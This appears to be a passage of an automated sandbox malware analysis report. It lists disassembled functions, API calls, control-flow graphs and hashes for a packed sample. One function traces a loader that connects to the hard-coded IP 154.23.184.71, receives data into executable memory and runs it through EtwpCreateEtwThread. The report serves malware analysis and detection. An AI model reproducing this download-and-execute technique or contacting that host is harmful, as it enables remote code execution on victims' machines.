                                              • GetModuleHandleA.KERNEL32(?), ref: 00531516
                                              • LoadLibraryA.KERNEL32(?), ref: 00531526
                                              • LoadLibraryExA.KERNEL32(?,00000000,?), ref: 00531601
                                              • GetLastError.KERNEL32(00000000,?), ref: 00531638
                                              • SetLastError.KERNEL32(0000007E), ref: 00531644
                                              • FreeLibrary.KERNEL32(00000000), ref: 00531650
                                              • GetModuleHandleA.KERNEL32(00000000), ref: 00531696
                                                • Part of subcall function 0053362F: RtlAllocateHeap.NTDLL(00000000,00000008,00000000), ref: 0053364E
                                                • Part of subcall function 0052B5B2: EnterCriticalSection.KERNEL32(-00000010), ref: 0052B5F8
                                                • Part of subcall function 0052B5B2: SetFilePointer.KERNEL32(00000000,?,00000000,?,00000000), ref: 0052B655
                                                • Part of subcall function 0052C308: EnterCriticalSection.KERNEL32(-00000010), ref: 0052C34E
                                                • Part of subcall function 0052C308: ReadFile.KERNEL32(?,?,?,00000000,00000000,?), ref: 0052C3BE
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: CriticalEnterLibrarySection$ErrorFileHandleLastLoadModule$AllocateFreeHeapPointerRead
                                              • String ID: D:\Projects\My.SRC\MoleStudio\MoleBox\molebox2\bootup\mbx_DLL.cpp$RaS$_BOX_
                                              • API String ID: 501437655-2081613388
                                              • Opcode ID: 9735e6afa0b7c546fff8355a095d27fe733958fe10014b43e08a73cc877d91b4
                                              • Instruction ID: 5fcf37ef395e7e37fe297d8abc64b39195a440bb86101625a2cbf0e306d1cbeb
                                              • Opcode Fuzzy Hash: 9735e6afa0b7c546fff8355a095d27fe733958fe10014b43e08a73cc877d91b4
                                              • Instruction Fuzzy Hash: 2AA2D371A00228DFDB64CFA4DC85BA8BBB1FF49315F108599E509AB291DB71AE84CF14
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 00401350 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 155networkmemorysynchronizationCOMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              APIs
                                              • _memset.LIBCMT ref: 0040137D
                                              • recv.WS2_32(00000B50,?,00002800,00000000), ref: 004013A3
                                              • socket.WS2_32(00000002,00000001,00000006), ref: 00401442
                                              • VirtualAlloc.KERNEL32(00000000,0004E050,00003000,00000040), ref: 00401464
                                              • gethostbyname.WS2_32(154.23.184.71), ref: 0040148A
                                              • htons.WS2_32 ref: 004014A0
                                              • connect.WS2_32(00000B50,?,00000010), ref: 004014BF
                                              • EtwpCreateEtwThread.NTDLL(00401350,00444A7C), ref: 004014D4
                                              • send.WS2_32 ref: 0040150F
                                              • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00401523
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: AllocCreateEtwpObjectSingleThreadVirtualWait_memsetconnectgethostbynamehtonsrecvsendsocket
                                              • String ID: 154.23.184.71$D$E$O$T
                                              • API String ID: 2850125769-134350869
                                              • Opcode ID: 5b924b886dc6f5a8365af0b9908b7882612f0b583778d263756538ea2bb9e6fc
                                              • Instruction ID: 82fea414fdafecd7205ad084c0b86656f53d4e520b2908cfe50a72bf700eaeb8
                                              • Opcode Fuzzy Hash: 5b924b886dc6f5a8365af0b9908b7882612f0b583778d263756538ea2bb9e6fc
                                              • Instruction Fuzzy Hash: 84515675244300ABE320EB65DC86F5B77E4ABC9704F00492EF655A72E1DB78D804C7AE
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 005350C7 Relevance: 21.1, APIs: 3, Strings: 9, Instructions: 107COMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              • Executed
                                              • Not Executed
                                              control_flow_graph 612 5350c7-5350f2 InitializeCriticalSection * 2 call 53362f 615 535106 612->615 616 5350f4-535104 call 536a6f 612->616 618 53510a-535121 call 53362f 615->618 616->618 622 535123-535130 call 536a6f 618->622 623 535132 618->623 624 535136-53514d call 53362f 622->624 623->624 629 53514f-53515c call 536a6f 624->629 630 53515e 624->630 632 535162-535179 call 53362f 629->632 630->632 636 53517b-535188 call 536a6f 632->636 637 53518a 632->637 639 53518e-5351a5 call 53362f 636->639 637->639 643 5351a7-5351b4 call 536a6f 639->643 644 5351b6 639->644 646 5351ba-535235 call 535236 * 5 GetModuleHandleA 643->646 644->646
                                              APIs
                                              • InitializeCriticalSection.KERNEL32(00541140,?,?,?,?,?,?,?,?,?,?,0052FFE7), ref: 005350D2
                                              • InitializeCriticalSection.KERNEL32(00541120,?,?,?,?,?,?,?,?,?,?,0052FFE7), ref: 005350DD
                                              • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 0053522B
                                                • Part of subcall function 00536A6F: InitializeCriticalSection.KERNEL32(?,00000000,00000000,?,0052E700,00000083), ref: 00536AA6
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: CriticalInitializeSection$HandleModule
                                              • String ID: 'MS$1eS$GOS$gdi32.dll$kernel32.dll$ole32.dll$oleaut32.dll$user32.dll$GS
                                              • API String ID: 2634659632-2249581945
                                              • Opcode ID: 8b803c8495a51acde5a80e767af1471d1494f753a6f0bf356cb0411d40d59003
                                              • Instruction ID: ee1426a220e0e533cca365e649661f80c3f8ded46352588f03db787d6dc9bbdc
                                              • Opcode Fuzzy Hash: 8b803c8495a51acde5a80e767af1471d1494f753a6f0bf356cb0411d40d59003
                                              • Instruction Fuzzy Hash: 8D413E75E80205EFDB10AFA4D81BBADBFB1BB58B01F109019F501BA2C1E7B50A44CF95
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 00530B1F Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 111libraryCOMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              • Executed
                                              • Not Executed
                                              control_flow_graph 658 530b1f-530b4b call 536b84 661 530b9e-530bb8 call 530a6e 658->661 662 530b4d-530b53 658->662 669 530c03-530c13 GetModuleHandleA 661->669 670 530bba-530bdc call 533b67 GetModuleHandleA 661->670 664 530b96-530b99 662->664 665 530b55-530b7c call 53362f GetModuleFileNameA 662->665 666 530c8f-530c90 664->666 673 530b87-530b95 call 5336b2 665->673 674 530b7e-530b81 LoadLibraryA 665->674 675 530c15-530c1b 669->675 676 530c8c 669->676 680 530bef-530bfe call 5336b2 670->680 681 530bde-530be4 670->681 673->664 674->673 675->676 679 530c1d-530c44 call 53362f GetModuleFileNameA 675->679 676->666 687 530c46-530c49 LoadLibraryA 679->687 688 530c4f-530c64 call 5336b2 call 5302c0 679->688 680->676 681->680 685 530be6-530be9 LoadLibraryA 681->685 685->680 687->688 693 530c69-530c6b 688->693 693->676 694 530c6d-530c75 GetLastError 693->694 695 530c77-530c79 SetLastError 694->695 696 530c7f-530c88 FreeLibrary 694->696 695->696 696->676
                                              APIs
                                              • GetModuleFileNameA.KERNEL32(00000000,?,00000400,3S,00536E00,?,00530D33,00000000,?,0053613E,00000000,?,00536183,0052FDD6,00000000), ref: 00530B74
                                              • LoadLibraryA.KERNEL32(?,?,00530D33,00000000,?,0053613E,00000000,?,00536183,0052FDD6,00000000), ref: 00530B81
                                              • GetModuleHandleA.KERNEL32(00000000,?,?,?,?,3S,00536E00,?,00530D33,00000000,?,0053613E,00000000,?,00536183,0052FDD6), ref: 00530BCF
                                              • LoadLibraryA.KERNEL32(00000000,?,?,?,?,3S,00536E00,?,00530D33,00000000,?,0053613E,00000000,?,00536183,0052FDD6), ref: 00530BE9
                                              • GetModuleHandleA.KERNEL32(?,?,3S,00536E00,?,00530D33,00000000,?,0053613E,00000000,?,00536183,0052FDD6,00000000), ref: 00530C06
                                              • GetModuleFileNameA.KERNEL32(00000000,?,00000400,?,3S,00536E00,?,00530D33,00000000,?,0053613E,00000000,?,00536183,0052FDD6,00000000), ref: 00530C3C
                                              • LoadLibraryA.KERNEL32(?,?,3S,00536E00,?,00530D33,00000000,?,0053613E,00000000,?,00536183,0052FDD6,00000000), ref: 00530C49
                                              • GetLastError.KERNEL32(00000000,?,?,3S,00536E00,?,00530D33,00000000,?,0053613E,00000000,?,00536183,0052FDD6,00000000), ref: 00530C6D
                                              • SetLastError.KERNEL32(0000007E,?,3S,00536E00,?,00530D33,00000000,?,0053613E,00000000,?,00536183,0052FDD6,00000000), ref: 00530C79
                                              • FreeLibrary.KERNEL32(00000000,?,3S,00536E00,?,00530D33,00000000,?,0053613E,00000000,?,00536183,0052FDD6,00000000), ref: 00530C82
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: LibraryModule$Load$ErrorFileHandleLastName$Free
                                              • String ID: 3S
                                              • API String ID: 3961926976-2661350616
                                              • Opcode ID: 9679652015ce98bc963df33e2773263d168480db5111ffba0af9eccc52e61304
                                              • Instruction ID: c83ccb6b8c1fee60d1ec1e048a233b91a12fdc0b9dbe120cc346b7b9f48709c2
                                              • Opcode Fuzzy Hash: 9679652015ce98bc963df33e2773263d168480db5111ffba0af9eccc52e61304
                                              • Instruction Fuzzy Hash: 3C41DE70A0020AAFDF11ABA4ED5ABADBFB1FF04705F205069E901B62A0D7719E54EF54
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 0052FFD0 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 218memoryCOMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              • Executed
                                              • Not Executed
                                              control_flow_graph 697 52ffd0-530011 call 52df60 call 5350c7 call 5273f3 704 530013-530018 call 533617 697->704 705 53001d-530030 697->705 704->705 707 530032-530041 VirtualProtect 705->707 708 530047-53004e 705->708 707->708 709 530059-53005f 708->709 710 530065-53007d 709->710 711 5301c9-5301d0 709->711 712 530081-530085 710->712 713 53007f 710->713 714 5301d2-5301f6 711->714 715 5301fc-530203 711->715 717 530087-53009d 712->717 718 5300a8 712->718 713->709 714->715 719 530205-530216 VirtualProtect 715->719 720 53021c-530260 call 52fcc0 call 53138c 715->720 717->718 722 53009f-5300a6 717->722 723 5300af-5300b9 718->723 719->720 734 530262-53026e call 53139d 720->734 735 530277-530289 GetModuleHandleA 720->735 722->723 725 5300bb-5300d2 723->725 726 5300dd 723->726 725->726 729 5300d4-5300db 725->729 727 5300e4-5300f6 726->727 730 530103-530109 727->730 731 5300f8-530101 727->731 729->727 733 53010c-530140 VirtualProtect call 52fa70 730->733 731->733 740 530145-530153 733->740 748 530272 call 53138c 734->748 749 530270 734->749 738 53028b-530294 call 5302c0 735->738 739 530299-5302ab GetModuleHandleA 735->739 738->739 743 5302bb-5302be 739->743 744 5302ad-5302b6 call 5302c0 739->744 746 530170-530185 740->746 747 530155-53016e 740->747 744->743 750 530188-530195 746->750 747->750 748->735 749->734 752 530197-5301c1 750->752 753 5301c4 750->753 752->753 753->711
                                              APIs
                                                • Part of subcall function 0052DF60: InitializeCriticalSection.KERNEL32(0053C958,?,?,?,?,Function_0012754C,00539410,000000FF), ref: 0052DF8E
                                                • Part of subcall function 0052DF60: GetModuleHandleA.KERNEL32(00000000,?,00000400), ref: 0052E011
                                                • Part of subcall function 0052DF60: GetModuleFileNameA.KERNEL32(00000000), ref: 0052E018
                                                • Part of subcall function 0052DF60: GetFullPathNameA.KERNEL32(?,00000400,?,?), ref: 0052E037
                                                • Part of subcall function 0052DF60: GetModuleHandleA.KERNEL32(kernel32,GetLongPathNameA), ref: 0052E047
                                                • Part of subcall function 0052DF60: GetProcAddress.KERNEL32(00000000), ref: 0052E04E
                                                • Part of subcall function 0052DF60: GetLongPathNameA.KERNEL32(?,?,00000400), ref: 0052E06D
                                                • Part of subcall function 0052DF60: CharUpperBuffA.USER32(?), ref: 0052E0B2
                                                • Part of subcall function 005350C7: InitializeCriticalSection.KERNEL32(00541140,?,?,?,?,?,?,?,?,?,?,0052FFE7), ref: 005350D2
                                                • Part of subcall function 005350C7: InitializeCriticalSection.KERNEL32(00541120,?,?,?,?,?,?,?,?,?,?,0052FFE7), ref: 005350DD
                                                • Part of subcall function 005350C7: GetModuleHandleA.KERNEL32(kernel32.dll), ref: 0053522B
                                                • Part of subcall function 005273F3: CreateThread.KERNEL32(00000000,00000000,Function_00127271,00000000,00000000,00540AE0), ref: 00527438
                                                • Part of subcall function 005273F3: Sleep.KERNEL32(00000064), ref: 00527440
                                              • VirtualProtect.KERNEL32(00000000,00000190,00000004,?), ref: 00530041
                                              • VirtualProtect.KERNEL32(00000000,?,00000040,?), ref: 0053012A
                                                • Part of subcall function 00533617: RaiseException.KERNEL32(00000000,00000000,00000000,00000000,EF00000D,?,005336AD,?,?,00533639), ref: 00533627
                                              • VirtualProtect.KERNEL32(00000000,00000190,?,?), ref: 00530216
                                              • GetModuleHandleA.KERNEL32(imm32.dll), ref: 0053027C
                                              • GetModuleHandleA.KERNEL32(oleoaut32.dll), ref: 0053029E
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: Module$Handle$CriticalInitializeNameProtectSectionVirtual$Path$AddressBuffCharCreateExceptionFileFullLongProcRaiseSleepThreadUpper
                                              • String ID: $EXECUTABLE$imm32.dll$oleaout32.dll$oleoaut32.dll
                                              • API String ID: 3713570573-2538210003
                                              • Opcode ID: 8be5bf639b0a653ecb8877490d0eb87ad32ee6bd295611c1f82fc2367400e80e
                                              • Instruction ID: cd569492fc5b6820cb3c80595256f163bb93ce4f2de46cbb830075407861e67f
                                              • Opcode Fuzzy Hash: 8be5bf639b0a653ecb8877490d0eb87ad32ee6bd295611c1f82fc2367400e80e
                                              • Instruction Fuzzy Hash: F7914875A01209DFDB08CF98D999BAEBBF1FB98300F209558E805AB391C735AD45CF90
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 00528F00 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65memorylibraryloaderCOMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              APIs
                                              • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00528F19
                                              • RaiseException.KERNEL32(EF0000FD,00000000,00000000,00000000), ref: 00528F33
                                              • GetProcAddress.KERNEL32(00000000,VirtualAlloc), ref: 00528F42
                                              • RaiseException.KERNEL32(EF0000FC,00000000,00000000,00000000), ref: 00528F5C
                                              • VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000004), ref: 00528F70
                                              • GetTickCount.KERNEL32 ref: 00528F7F
                                              • VirtualAlloc.KERNEL32(00000000,00000000), ref: 00528F91
                                              • VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000004), ref: 00528FA7
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: AllocVirtual$ExceptionRaise$AddressCountHandleModuleProcTick
                                              • String ID: VirtualAlloc$kernel32.dll
                                              • API String ID: 2410844953-2067260499
                                              • Opcode ID: d424efb14094466f99fdf7c643775331db1b75f1271859744bcecc8a718ebc7e
                                              • Instruction ID: 48591f09f9cb71b8a7c9043b3f4db871a786803831b567a568363e5ce864f22d
                                              • Opcode Fuzzy Hash: d424efb14094466f99fdf7c643775331db1b75f1271859744bcecc8a718ebc7e
                                              • Instruction Fuzzy Hash: 4D210874A80314BFE7209FA19C4ABA9BFB1EB58B41F108059FA01BA2D0D7F015849F55
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 0040D94E Relevance: 16.6, APIs: 11, Instructions: 106memoryCOMMONLIBRARYCODE
                                              Download Yara Rule

                                              Control-flow Graph

                                              • Executed
                                              • Not Executed
                                              control_flow_graph 761 40d94e-40d96f EnterCriticalSection 762 40d971-40d978 761->762 763 40d97e-40d983 761->763 762->763 764 40da3c-40da3f 762->764 765 40d9a0-40d9a8 763->765 766 40d985-40d988 763->766 770 40da41-40da44 764->770 771 40da47-40da65 LeaveCriticalSection 764->771 767 40d9aa-40d9bd call 40d898 GlobalAlloc 765->767 768 40d9bf-40d9e3 GlobalHandle GlobalUnWire call 40d898 GlobalReAlloc 765->768 769 40d98b-40d98e 766->769 778 40d9e9-40d9eb 767->778 768->778 774 40d990-40d996 769->774 775 40d998-40d99a 769->775 770->771 774->769 774->775 775->764 775->765 779 40da10-40da39 GlobalFix _memset 778->779 780 40d9ed-40d9f2 778->780 779->764 781 40da02-40da0b LeaveCriticalSection call 40d399 780->781 782 40d9f4-40d9fc GlobalHandle GlobalFix 780->782 781->779 782->781
                                              APIs
                                              • EnterCriticalSection.KERNEL32(00443C78,?,?,?,00443C5C,00443C5C,?,0040DCB1,00000004,00406561,00404E8B,00401DB8,?,00401FC0,00000000), ref: 0040D961
                                              • GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,00443C5C,00443C5C,?,0040DCB1,00000004,00406561,00404E8B,00401DB8,?,00401FC0,00000000), ref: 0040D9B7
                                              • GlobalHandle.KERNEL32(05FD2B70), ref: 0040D9C0
                                              • GlobalUnWire.KERNEL32(00000000), ref: 0040D9CA
                                              • GlobalReAlloc.KERNEL32(33D2A76B,00000000,00002002), ref: 0040D9E3
                                              • GlobalHandle.KERNEL32(05FD2B70), ref: 0040D9F5
                                              • GlobalFix.KERNEL32(00000000), ref: 0040D9FC
                                              • LeaveCriticalSection.KERNEL32(?,?,?,?,00443C5C,00443C5C,?,0040DCB1,00000004,00406561,00404E8B,00401DB8,?,00401FC0,00000000), ref: 0040DA05
                                              • GlobalFix.KERNEL32(00000000), ref: 0040DA11
                                              • _memset.LIBCMT ref: 0040DA2B
                                              • LeaveCriticalSection.KERNEL32(?,?,33D2A76B), ref: 0040DA59
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
